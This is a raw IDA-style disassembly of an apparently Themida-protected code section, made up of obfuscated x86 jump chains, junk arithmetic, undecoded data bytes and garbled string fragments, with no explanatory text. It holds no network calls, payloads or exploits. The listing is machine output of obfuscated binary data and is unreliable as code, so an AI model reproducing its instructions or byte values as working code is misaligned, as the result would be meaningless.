loc_558033:				; CODE XREF: Themida_:00561F33j
		xor	esi, 35DA76AFh
		push	ebx
		jmp	loc_555676
; ---------------------------------------------------------------------------
		db 81h
		dd 2C4h, 0E9C60800h, 0C870h, 3D63ED81h,	0F5811744h, 62097662h
		dd 491FE9h, 50D70100h, 0FFEDB0E9h, 300BDFFh, 6C2924C1h
		dd 0DFE90824h, 56000058h, 42746855h, 0E95D67B8h, 0FFFFFFCCh
		dd 571768h, 0B97CE900h,	29B80000h, 487B4162h, 508E0C1h
		dd 13BE4017h, 158C701h,	2F08E9C7h
		db 2 dup(0)
word_5580A2	dw 0C8Bh		; DATA XREF: Themida_:00552A50o
		dd 4EC8324h, 0E9241C89h, 6A36h,	6042F381h, 0D3010432h
		dd 8B5B0303h, 69E92414h
		db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5580C3:				; CODE XREF: Themida_:00556F45j
		xchg	esi, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_565693
; ---------------------------------------------------------------------------


loc_5580E0:				; CODE XREF: Themida_:0055EAC0j
		pop	esp
		add	ecx, 4
		push	ebp
		jmp	loc_55AFC2
; ---------------------------------------------------------------------------
		db 1, 0F2h, 5Eh
		dd 31241433h, 14332414h, 649EE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_56282F
; ---------------------------------------------------------------------------
		dd 8C7BC0B8h, 0F217054Bh, 0C5290FB0h, 5DEB8958h, 9FB85057h
		dd 2D6F6C39h, 7A9D7C41h, 0BD55D0F7h, 234462D7h,	1952ED81h
		dd 0C14564A7h, 814505E5h, 1EDB3F5h, 8BE801EAh, 0C481242Ch
		dd 4, 675E9805h, 58C789C8h, 60C0E9h, 1C470900h,	8B2434FFh
		dd 0C4832404h, 0DFE95504h
		db 0BDh, 2 dup(0)
aNwhu		db '╜WhН',8,0           ; DATA XREF: Themida_:00552A38o
		align 2
aS_7		db 'И',0Ah
		db '/',0
		dw 8B00h
		dd 43E92424h, 5DFFFFF0h, 45E9EA31h
		db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558187:				; CODE XREF: Themida_:00558693j
		mov	[esp], eax
		mov	eax, 529309DEh
		shl	eax, 3
		neg	eax
		push	ebx
		jmp	loc_55B66F
; ---------------------------------------------------------------------------
word_55819A	dw 1968h		; DATA XREF: Themida_:00552B58o
		dd 89000008h, 74FF240Ch, 34FF0424h, 240C8B24h, 6971E9h
		db 0
byte_5581B1	db 0FFh, 34h, 24h	; DATA XREF: Themida_:005529FCo
		dd 8B2434FFh, 89562404h, 30E953E6h, 1FFFFBFh, 240C8BCAh
		dd 4C481h, 0BB530000h, 7BE72B57h, 0B571EB81h, 0E3C125A8h
		dd 52E38104h, 430EBE06h, 5EF8F381h, 0F6E9095Ah,	500000Eh
		dd 664C1E7Bh, 0CF04E9h
		db 0
; ---------------------------------------------------------------------------


loc_5581F9:				; CODE XREF: Themida_:0055F05Ej
		not	edx
		inc	edx
		sub	edx, 8439B464h
		sub	ebx, edx
		pop	edx
		pop	edi
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5561FF
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 24348904h, 24348B54h, 4C481h, 0C6810000h, 4,	0FFF916E9h
		dd 2434FFFFh, 8324348Bh, 0E95504C4h, 8148h
; ---------------------------------------------------------------------------


loc_558244:				; CODE XREF: Themida_:00564305j
		mov	edi, 79EA3D34h
		not	edi
		jmp	loc_554A2F
; ---------------------------------------------------------------------------
		dd 0F787D7F7h, 548AE9h,	36BA5200h, 8119F418h, 216E37E2h
		dd 3C31E939h, 4CE90000h, 81FFFFA9h, 9D3404F3h, 0FD39E979h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55827A:				; CODE XREF: Themida_:005568B4j
		pop	esp
		sub	esp, 4
		jmp	loc_55A407
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812414h, 4, 3C2EE9h, 0A925E900h, 0FF5AFFFFh, 685A2434h
		dd 586Dh, 6D93E9h, 0C3815B00h, 7C47C13h, 0E489E9h
		db 0
; ---------------------------------------------------------------------------


loc_5582B1:				; CODE XREF: Themida_:0055AEBFj
		or	eax, eax
		jz	loc_562FC9
		push	ebp
		push	esp
		jmp	loc_561D0B
; ---------------------------------------------------------------------------
		dd 6FC055Eh, 2CE92B97h,	0B8FFFFDEh, 1E027BF9h, 4244481h
		dd 2BD07B90h, 0C8B5E9h
		db 0
; ---------------------------------------------------------------------------


loc_5582DD:				; CODE XREF: Themida_:0056466Dj
		push	esi
		push	ecx
		mov	ecx, 4
		mov	esi, ecx
		pop	ecx
		jmp	loc_5558D7
; ---------------------------------------------------------------------------


loc_5582EC:				; CODE XREF: Themida_:00560947j
		mov	eax, 5F5C2BF8h
		add	eax, 8243523h
		jmp	loc_555F6A
; ---------------------------------------------------------------------------
		db 31h
		dd 2434FFFAh, 0E189515Fh, 46856h, 15E0000h, 0C1835EF1h
		dd 74FF5104h, 8F590424h, 815C2404h, 2A1AC8EBh, 81D30157h
		dd 2A1AC8C3h, 24148B57h, 4C481h, 1C330000h, 241C3124h
		dd 8B241C33h, 34FF2424h, 24048B24h, 4C481h, 81530000h
		dd 4ECh, 35E95400h
		db 40h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_558357:				; CODE XREF: Themida_:005610A9j
		mov	edi, 5F3F3561h
		xor	edi, esi
		pop	esi
		and	edi, 6FF002C8h
		sub	esp, 4
		mov	[esp], edx
		push	9FEBFA10h
		pop	edx
		sub	edi, edx
		pop	edx
		jmp	loc_553F08
; ---------------------------------------------------------------------------


loc_558379:				; CODE XREF: Themida_:00555E43j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5542BE
; ---------------------------------------------------------------------------
		dd 4BA52h, 0D6890000h, 0FFF23FE9h, 53DAF7FFh, 442B32BBh
		dd 0A2E94B3Bh
		db 0E5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55839F:				; CODE XREF: Themida_:005531C3j
		mov	esi, 24A12E4Ah
		sub	esi, 0B450E3AEh
		mov	edi, esi
		pop	esi
		xor	edi, 4DFA65A0h
		sub	edi, 50502D65h
		sub	edi, 0A032B503h
		sub	ebx, edi
		pop	edi
		sub	ebx, 0B884FF8h
		add	ebx, 2076D4Fh
		sub	ebx, eax
		sub	ebx, 2076D4Fh
		jmp	loc_55850A
; ---------------------------------------------------------------------------
byte_5583DB	db 66h			; DATA XREF: Themida_:0055296Co
		dd 6824048Bh, 667Ch, 68241489h,	5DC8h, 83242489h, 0FF042404h
		dd 0E95A2434h, 70D4h, 775AF581h, 0ED814DCBh, 0D942E5E5h
		dd 0E95DE801h, 1039h
; ---------------------------------------------------------------------------


loc_558410:				; CODE XREF: Themida_:0055AA8Cj
		mov	ebx, esp
		add	ebx, 4
		push	eax
		mov	eax, 4
		jmp	loc_567B14
; ---------------------------------------------------------------------------
		db 89h
		dd 0BB532424h, 4, 4244481h, 0CBE4D3Dh, 4245C01h, 4246C81h
		dd 0CBE4D3Dh, 3B7EE95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558446:				; CODE XREF: Themida_:0055AD2Dj
		pop	eax
		add	esi, edx
		jmp	loc_557EA8
; ---------------------------------------------------------------------------
		dw 3C8Bh
		dd 4C48124h, 0E9000000h, 3C61h,	83240C8Bh, 0F72C04C4h
		dd 0B652D028h, 0BCCE8081h, 8008EEC0h, 0EE80A7E6h, 6EEC007h
		dd 0F4B15166h, 5966CE00h, 148BF000h, 4C48124h, 5A000000h
		db 0, 0D8h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55CB46
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 732F28A0h, 0F7895759h, 0D3F7E951h
		db 2 dup(0FFh)
off_5584A6	dd offset dword_580968	; DATA XREF: Themida_:00552A40o
		dw 6800h
		dd 4D8Bh, 0E9242489h, 0D11Eh
; ---------------------------------------------------------------------------


loc_5584B8:				; CODE XREF: Themida_:0055CD02j
		pop	ebx
		mov	cl, dh
		jmp	loc_55BEA9
; ---------------------------------------------------------------------------
		dd 6DDDC681h, 0D6010813h, 6DDDEE81h, 335A0813h,	0BAE92434h
		db 0B3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5584D7:				; CODE XREF: Themida_:0055A284j
		inc	ch
		add	ch, 1Eh
		or	dl, ch
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_56203F
; ---------------------------------------------------------------------------
		dd 5BDE8958h, 4247429h,	0C37685Eh, 1DE90000h
		db 0EFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5584FF:				; CODE XREF: Themida_:0056430Cj
		sub	esi, 4E600C06h
		jmp	loc_55ADFE
; ---------------------------------------------------------------------------


loc_55850A:				; CODE XREF: Themida_:005583D6j
		push	esi
		mov	esi, 0B884FF8h
		add	ebx, 6C055CEDh
		add	ebx, esi
		sub	ebx, 6C055CEDh
		pop	esi
		push	ebp
		push	4D274CD4h
		jmp	loc_56028B
; ---------------------------------------------------------------------------


loc_55852A:				; CODE XREF: Themida_:0055D238j
		mov	edi, edx
		jmp	loc_558590
; ---------------------------------------------------------------------------
		db 35h,	78h, 18h
		dd 0C3814850h, 18B84D20h, 0EB81C329h, 18B84D20h, 5EE95258h
		db 0D1h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55854B:				; CODE XREF: Themida_:00553BEAj
		pop	eax
		add	eax, 1015914Ch
		mov	edx, eax
		pop	eax
		and	edx, 49D5BE2h
		shl	edx, 2
		and	edx, 663E7FA1h
		jmp	loc_5616C2
; ---------------------------------------------------------------------------


loc_558568:				; CODE XREF: Themida_:0056009Dj
		push	ebp
		push	ecx
		mov	ecx, 1BA50C91h
		mov	ebp, 77D362E1h
		sub	ebp, ecx
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_5579C3
; ---------------------------------------------------------------------------
		db 5, 0D7h, 41h
aIjhQ		db '╗Jh~q',0
		dw 0E900h
		dd 74CFh
; ---------------------------------------------------------------------------


loc_558590:				; CODE XREF: Themida_:0055852Cj
		mov	edx, [esp]
		add	esp, 4
		add	ebp, edi
		pop	edi
		jmp	loc_56301C
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 0FFh
		dd 81FFFFFFh, 0EC44B8EBh, 0B2BD550Dh, 0C1500305h, 0E1E905EDh
		dd 0BE00004Ch, 671D0018h, 0C8E9F701h
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5585C7:				; CODE XREF: Themida_:00557CDEj
		shl	edx, 7
		add	edx, 7D8527F4h
		jmp	loc_55FC8A
; ---------------------------------------------------------------------------
		db 51h,	0FFh, 74h
		dd 0C8B0424h, 4C48124h,	8F000000h, 0E95C2404h, 5F5Fh
; ---------------------------------------------------------------------------


loc_5585EC:				; CODE XREF: Themida_:005630EEj
		and	ecx, edi
		jmp	loc_566CDB
; ---------------------------------------------------------------------------


loc_5585F3:				; CODE XREF: Themida_:0055A4EEj
		mov	ebp, 2B6F5B60h
		jmp	loc_564C8A
; ---------------------------------------------------------------------------
aVksMyVsi	db '©}$vKS╩MYЁVИКи',0
		dd 0AABB5300h, 0E917611Bh, 85C1h, 5726F581h, 0EA0130C1h
		dd 96F2815Dh, 0E9347C23h, 0A0F5h
dword_55862C	dd 240C8B66h, 4EC81h, 4890000h,	81585424h, 4ECh, 240C8900h
					; DATA XREF: Themida_:005529A8o
		dd 0E96E65B9h, 0BBBF5762h, 29364942h, 8109E9F9h, 4870000h
		dd 24248B24h, 8B24048Fh, 89662424h, 0F66240Ch, 5166C8B6h
		dd 0A549E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558672:				; CODE XREF: Themida_:0055D51Bj
		pop	ecx
		sub	edi, 4AC4707Ah
		shr	edi, 2
		sub	edi, 1
		not	edi
		sub	edi, 0C1FB4D3Ch
		sub	eax, edi
		pop	edi
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_558187
; ---------------------------------------------------------------------------
		dd 0A87F681h, 0EE8128E0h, 0C8255E18h, 0E95EF329h, 0BD86h
		dd 89241489h, 4C281E2h,	55000000h, 4BDh, 5DEA2900h, 5C241487h
		dd 24048F54h, 4240481h,	5B000000h, 4C381h, 0C3830000h
		dd 0E7895704h, 0FFC14DE9h, 240487FFh, 0D19E95Ch, 348B0000h
		dd 4FD2E924h, 0E62D0000h, 29193414h, 3BB951D0h,	0F703263Eh
		dd 0E48CE9D1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558706:				; CODE XREF: Themida_:00552CA8j
		inc	esi
		sub	esi, 68482800h
		jmp	loc_565D6D
; ---------------------------------------------------------------------------


loc_558712:				; CODE XREF: Themida_:00554BF4j
		sub	edi, 0CF800EFh
		add	ecx, 35D41C3Ch
		add	ecx, edi
		sub	ecx, 35D41C3Ch
		mov	edi, [esp]
		add	esp, 4
		push	edi
		mov	edi, 7EC97BECh
		add	eax, edi
		pop	edi
		add	eax, ecx
		sub	eax, 7EC97BECh
		pop	ecx
		sub	eax, 5A5A2D0Ch
		sub	eax, ebx
		add	eax, 5A5A2D0Ch
		push	ebx
		mov	ebx, 2D736308h
		neg	ebx
		or	ebx, 35187F42h
		sub	ebx, 35EE544Eh
		sub	ebx, 1
		not	ebx
		sub	ebx, 0C9CF0C12h
		sub	eax, ebx
		jmp	loc_56146D
; ---------------------------------------------------------------------------


loc_55876F:				; CODE XREF: Themida_:00562042j
		or	dl, 0A7h
		jmp	loc_563CAA
; ---------------------------------------------------------------------------
		db 29h
		dd 0BFE981D9h, 8B0D866Ah, 0C481241Ch, 4, 0E668DA2Dh, 0C815E967h
		dd 0F1050000h, 0E9D76DBDh, 11ECh, 4797E954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5587A2:				; CODE XREF: Themida_:00565D7Bj
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55AECC
; ---------------------------------------------------------------------------
		dd 0D00157BDh, 5DEF2968h, 1E10EF81h, 0F7297F74h, 0FFEC9FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5587C5:				; CODE XREF: Themida_:0055F4CBj
		mov	edx, 108C0EC3h
		xor	edx, 14D74FE7h
		jmp	loc_567D0C
; ---------------------------------------------------------------------------
		db 8Bh,	34h, 24h
		dd 0A0F7E9h, 0C895C00h,	0A3D5E924h, 433FFFFh, 24248B24h
		dd 4CED68h, 243C8900h, 2434FF54h, 5F2434FFh, 76E6E9h, 42DAF700h
		dd 57ABC281h, 0E7E979B0h, 5A0000C3h, 0E904C483h, 0FFFFAA19h
		dd 81241430h, 4ECh, 241C8900h, 64F8E9h
		db 0
; ---------------------------------------------------------------------------


loc_558829:				; CODE XREF: Themida_:00560AD6j
		mov	edi, 8D13DB8h
		mov	esi, 511338FEh
		xor	esi, edi
		jmp	loc_556E91
; ---------------------------------------------------------------------------
		dw 7268h
		dd 8900007Fh, 4B9240Ch,	0E9000000h, 862Eh, 0D552D805h
		dd 7F87E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558856:				; CODE XREF: Themida_:0056420Ej
		add	ebp, esi
		pop	esi
		jmp	loc_55A6F4
; ---------------------------------------------------------------------------


loc_55885E:				; CODE XREF: Themida_:0055AE30j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_553D85
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 242C8900h, 399C68h, 0D16AE900h, 348BFFFFh, 4C48324h
		dd 8904EC83h, 6851242Ch, 22373C37h, 0D0C18159h,	0E9319550h
		dd 2D90h, 5FFE8959h, 500ACE81h,	0EE815708h, 76FF1504h
		dd 0E780E9h, 3A685500h,	0E900000Bh, 1BE2h
; ---------------------------------------------------------------------------


loc_5588C4:				; CODE XREF: Themida_:00562704j
		add	esp, 4
		add	esp, 4
		xor	ebx, eax
		jmp	loc_55EEB1
; ---------------------------------------------------------------------------
aI4S		db '┴4$Ий!',0
		align 4


loc_5588DC:				; CODE XREF: Themida_:0055DE8Cj
		shr	dl, 7
		push	0AA6h
		mov	[esp], ebx
		mov	bl, 28h
		jmp	loc_559463
; ---------------------------------------------------------------------------
		dw 0F588h
		dd 0B652665Ah, 66F500FFh, 1BC5805Ah, 39E5E9h, 4EC8300h
		dd 0FFD077E9h, 1604BEFFh, 0C14673EAh, 0FD6807EEh, 0E9000015h
		dd 0FFFFEC83h
; ---------------------------------------------------------------------------


loc_55891C:				; CODE XREF: Themida_:005678CBj
		mov	[esp], eax
		push	4C4h
		mov	[esp], edx
		push	ecx
		mov	ecx, 0DB416Fh
		shr	ecx, 2
		dec	ecx
		jmp	loc_5553B9
; ---------------------------------------------------------------------------


loc_558936:				; CODE XREF: Themida_:0055DEAEj
		add	edi, esi
		pop	esi
		push	esi
		push	ebx
		push	25554B41h
		pop	ebx
		jmp	loc_55E489
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 6685F24h, 89000004h,	20E9242Ch, 8900002Eh, 0E34CE9EFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55895E:				; CODE XREF: Themida_:00561C71j
		mov	esp, [esp]
		mov	[esp], eax
		push	4238h
		jmp	loc_5555EB
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 16E14796h, 0A3CAE940h, 0BA52FFFFh, 68145AB1h, 85ACEBBEh
		dd 9968E9C1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55898A:				; CODE XREF: Themida_:0055CC34j
		mov	edx, [esp]
		jmp	loc_55B482
; ---------------------------------------------------------------------------


loc_558992:				; CODE XREF: Themida_:00566706j
		add	ebp, 430E9400h
		push	ebx
		mov	ebx, 5324191Dh
		jmp	loc_564C00
; ---------------------------------------------------------------------------
		db 87h
		dd 895C241Ch, 74FF2434h, 8F5E0424h, 34E92404h
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5589B7:				; CODE XREF: Themida_:00566CDCj
		sub	ecx, 0C9CFD7C8h
		and	edx, ecx
		pop	ecx
		neg	edx
		push	7A98h
		mov	[esp], ebx
		mov	ebx, 1DD35827h
		xor	edx, ebx
		pop	ebx
		jmp	loc_565D62
; ---------------------------------------------------------------------------


loc_5589D7:				; CODE XREF: Themida_:0055C6B9j
		add	bl, 0B1h
		xor	dl, bl
		pop	ebx
		sub	bl, 88h
		sub	bl, dl
		push	eax
		mov	eax, esp
		push	ebx
		jmp	loc_55771D
; ---------------------------------------------------------------------------
		db 0F7h
		dd 50E6D1D6h, 565F46B8h, 13DBE90Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5589FA:				; CODE XREF: Themida_:00553588j
		mov	ecx, 0
		add	ecx, 2A643F86h
		add	ecx, ebx
		push	edi
		mov	edi, 18FC1608h
		dec	edi
		add	edi, 7EA41740h
		xor	edi, 671C0213h
		xor	edi, 11F117B5h
		and	edi, 4ED747C1h
		add	edi, 0EA1F3EC5h
		sub	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		add	[ecx], ebp
		pop	ecx
		pop	ebx
		pop	eax
		jmp	loc_564700
; ---------------------------------------------------------------------------


loc_558A41:				; CODE XREF: Themida_:0055CA81j
		xchg	ecx, [esp]
		jmp	loc_554850
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0E9000000h, 0FFFFDAD6h
; ---------------------------------------------------------------------------


loc_558A54:				; CODE XREF: Themida_:0055F6EBj
		mov	[esp], edx
		jmp	loc_55D1D4
; ---------------------------------------------------------------------------
		dd 1ED805Ch, 0F580D5F6h, 59E8288Eh, 0EC83D800h,	241C8904h
		dd 27E9A3B7h
		db 0CDh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_558A77:				; CODE XREF: Themida_:0055AF12j
		xor	edx, 0A48DEDB6h
		mov	ebx, edx
		pop	edx
		jmp	loc_561509
; ---------------------------------------------------------------------------


loc_558A85:				; CODE XREF: Themida_:00553A85j
		add	ebp, 0F3B7353h
		sub	ebp, 0E9A4107h
		and	ebp, 50086976h
		push	edx
		jmp	loc_55CEAC
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 0F5h
		dd 3188A9CEh, 0C5295FF8h, 5DEB0158h, 0FFD796E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558AB1:				; CODE XREF: Themida_:00567A6Fj
		jmp	loc_552BBB
; ---------------------------------------------------------------------------
		dw 64BDh
		dd 13F9102h, 69E95DEEh
		db 91h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_558AC3:				; CODE XREF: Themida_:00555B90j
		mov	edx, edi
		jmp	loc_557548
; ---------------------------------------------------------------------------
aSiViIr8YritsI	db 'S┴кV┴ч┴r8^[YR┴БИ',0Ah
		db 'i',0
		align 2
		dw 0D068h
		dd 8900001Eh, 74FF242Ch, 2C8B0424h, 4C48324h, 5C24048Fh
		dd 0E20AE9h, 245C2900h,	44015B08h, 0BD550424h, 2F006121h
		dd 8246C01h, 2444815Dh,	272FE304h, 6EE95848h, 0B6FFFFCFh
		dd 66F30023h, 0E950665Ah, 47CDh, 0E9242489h, 4574h, 685EF201h
		dd 179Eh, 0BD242C89h, 3FBD7920h, 585DEA29h, 3C2AE9h, 4C08300h
		dd 0E9240487h, 599Fh, 4C281h, 14870000h, 0BDE95C24h, 8B00001Dh
		dd 5451241Ch, 20DAE9h, 24143300h, 2424895Ch, 90AE952h
		dd 0EA810000h, 42FB5F5Fh, 0F114652Dh, 5D00104h,	4F11465h
		dd 6824148Bh, 3B93h, 89242C89h,	4C581E5h, 81000000h, 4C5h
		dd 242C8700h, 5394E95Ch, 0C330000h, 240C3124h, 8B240C33h
		dd 79E92424h
		db 0D1h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_558BBF:				; CODE XREF: Themida_:00553A1Fj
		pop	edx
		jmp	loc_5645FD
; ---------------------------------------------------------------------------


loc_558BC5:				; CODE XREF: Themida_:00556FD1j
		mov	[esp], edx
		mov	dl, 2Ch
		push	eax
		mov	al, 0Bh
		jmp	loc_55DE89
; ---------------------------------------------------------------------------


loc_558BD2:				; CODE XREF: Themida_:00560AFCj
		mov	ebx, 4
		add	edi, 3F921D03h
		sub	edi, ebx
		jmp	loc_5650A7
; ---------------------------------------------------------------------------
		dd 0B87EB22Dh, 0AABD555Fh, 316F2066h, 0A1F7E9E8h, 0D7F70000h
		dd 5224F781h, 0C781515Ah, 0C5E536D2h, 515FF901h, 1BF7E9h
		dd 24248B00h, 24148966h, 6D041AB2h, 6D2CD028h, 24148B66h
		dd 0FFBA4DE9h, 243C89FFh, 0C781E789h, 4, 112C68h, 242C8900h
		dd 4BDh, 0CDC78100h, 156AE5Fh, 0CDEF81EFh, 8B56AE5Fh, 0C483242Ch
		dd 74FF5704h, 8F5F0424h, 815C2404h, 9F4BE0CBh, 8EC8E93Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558C66:				; CODE XREF: Themida_:0055CE24j
		mov	[esp], edx
		jmp	loc_562655
; ---------------------------------------------------------------------------
		dw 0CF81h
		dd 63427EC2h, 76D5C781h, 0FA01A29Ah, 0EB05E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558C82:				; CODE XREF: Themida_:005619B8j
		sub	eax, 2F579537h
		add	ebp, eax
		pop	eax
		jmp	loc_559C88
; ---------------------------------------------------------------------------


loc_558C8F:				; CODE XREF: Themida_:00562549j
		sub	ebp, edi
		pop	edi
		jmp	loc_566D9D
; ---------------------------------------------------------------------------
		db 81h
		dd 42404h, 0E9590000h, 8481h, 5B66F800h, 2EC81h, 89660000h
		dd 0A3B7241Ch, 8B66F830h, 0FDE9241Ch
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------


loc_558CBF:				; CODE XREF: Themida_:0055AC70j
		sub	edx, ebx
		pop	ebx
		sub	eax, 6FDA1ACAh
		add	eax, 341873B4h
		jmp	loc_5644F2
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 0D4h
		dd 56078A27h, 2C1480BEh, 60EE817Fh, 816AB003h, 4427D1CEh
		dd 0A75DE94Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558CEE:				; CODE XREF: Themida_:005537F3j
		push	4A92h
		mov	[esp], ebx
		jmp	loc_556680
; ---------------------------------------------------------------------------
		db 59h
		dd 0EB81CB01h, 5E7824A5h, 57240C8Bh, 0C781E789h, 4, 5655E9h
		dd 4EC8100h, 89000000h,	0BF243Ch, 89000002h, 243C8BF8h
		dd 0FFAE24E9h, 243C8BFFh, 4C481h, 0C7810000h, 4, 0D2DFE956h
		dd 14890000h, 2474FF24h, 0DB5CE904h, 88B80000h,	0E9788C2Ch
		dd 4EC1h, 1EACC281h, 0BB5365EBh, 9DE5D16h, 1308EB81h, 0DA315405h
		dd 5AD3315Bh, 485BD889h, 0AA2DDD35h, 403B3546h,	0C7014163h
		dd 582434FFh, 0FFBEADE9h, 6EAB68FFh, 0CAE92C17h
		db 84h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_558D93:				; CODE XREF: Themida_:0055A649j
		sub	ebx, edi
		add	ebx, 7F3179EAh
		sub	ebx, 5A112D5Fh
		mov	edi, [esp]
		add	esp, 4
		shl	ebx, 6
		jmp	loc_55BCB5
; ---------------------------------------------------------------------------
aIS3e		db '┴<$И3E',0
		dw 4200h
		dd 0E903E2C1h, 8852h, 0FB31C681h, 0F1311AEEh, 0F06DE95Eh
		dd 8B5E0000h, 45E9243Ch, 800000F3h, 0DC28AAC3h,	0A022E95Bh
		db 2 dup(0)
word_558DE2	dw 83ADh		; DATA XREF: Themida_:00552918o
		dd 0F00207Fh, 2E4984h, 4EC8300h, 1151E9h, 40500h, 17E90000h
		db 89h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_558DFF:				; CODE XREF: Themida_:0055F811j
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_564BEB
; ---------------------------------------------------------------------------
aVPgOsV		db 'V╬PGцOИ╢V',0
		dw 0FF00h
		dd 52582404h, 3527EDBAh, 0C1D2F70Eh, 0E95507E2h, 3FDh
		dd 4EC815Dh, 89000000h,	0DFB82404h, 0E90B5465h,	0D2DAh
		dd 0E9240487h, 8CC0h
; ---------------------------------------------------------------------------


loc_558E4C:				; CODE XREF: Themida_:00559818j
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_55EFF0
; ---------------------------------------------------------------------------


loc_558E5A:				; CODE XREF: Themida_:00555AE6j
		add	edx, 719608E4h
		add	edx, eax
		sub	edx, 719608E4h
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5643E4
; ---------------------------------------------------------------------------
		dw 0E8B8h
		dd 29CF6CC1h, 0BE5658C5h, 7BDE537Ch, 3D3DED81h,	0F5290A84h
		dd 3D3DC581h, 0E95E0A84h, 0FFFFCA99h
; ---------------------------------------------------------------------------


loc_558E98:				; CODE XREF: Themida_:0055B4DEj
		push	ecx
		jmp	loc_55E0C7
; ---------------------------------------------------------------------------


loc_558E9E:				; CODE XREF: Themida_:00564776j
		add	ebp, 235264A7h
		add	ebp, edx
		sub	ebp, 235264A7h
		jmp	loc_563A5F
; ---------------------------------------------------------------------------
aBcIbshb	db '│Ф╠|⌡bИh║',0
		align 4
		dd 81E18951h, 4C1h, 2C18100h, 87000000h, 505C240Ch, 0BF57E089h
		dd 684C0DD9h, 5231E9h, 1C38100h, 43000000h, 5909F381h
		dd 0DF89513Dh, 81241C8Bh, 4C4h,	0AFE78100h, 51710772h
		dd 6F18F1B9h, 59CF0962h, 0BE95651h, 0BAFFFFD6h,	12E90750h
		dd 8107EAC1h, 0FE2438CAh, 0C6C28135h, 1CA0009h,	2C335AD5h
		dd 242C3124h, 442FE9h
		db 0
; ---------------------------------------------------------------------------


loc_558F2D:				; CODE XREF: Themida_:00560748j
		mov	ecx, 37522F48h
		mov	esi, 6AAC4D04h
		xor	esi, ecx
		pop	ecx
		mov	edx, 78DC949h
		jmp	loc_552FC4
; ---------------------------------------------------------------------------


loc_558F44:				; CODE XREF: Themida_:005569F1j
		mov	ah, 81h
		sub	ah, bh
		jmp	loc_55E8E5
; ---------------------------------------------------------------------------
		db 0B9h, 2Eh, 71h
		dd 0E9C119BBh, 20C98103h, 0D1755430h, 4E9C1E9h,	0B0C18149h
		dd 416BF461h, 46C98149h, 0E90BEE5Ah, 0B5B3h, 7445F281h
		dd 81586391h, 0E060BFEAh, 0E9CA2928h, 3311h, 0EEC0DFB6h
		dd 6EEC005h, 0E9DBC680h, 0FFFFB9C7h
; ---------------------------------------------------------------------------


loc_558F98:				; CODE XREF: Themida_:005639D1j
		sub	edi, 0E5BAB2F7h
		mov	ebp, edi
		pop	edi
		jmp	loc_55CF5F
; ---------------------------------------------------------------------------


loc_558FA6:				; CODE XREF: Themida_:00556E5Dj
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_5672DA
; ---------------------------------------------------------------------------
aQys		db '╥',27h,'(ОYИЙ╧',0
		align 4
		dd 81242C8Bh, 4C4h, 2EC8300h, 24348966h, 3263BE66h, 6FD5E9h
		dd 82E95700h
		db 0E4h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_558FE7:				; CODE XREF: Themida_:00568130j
		push	eax
		mov	eax, esp
		jmp	loc_556321
; ---------------------------------------------------------------------------


loc_558FEF:				; CODE XREF: Themida_:0056730Cj
		sub	esi, 548925B1h
		xor	esi, 2BE1180h
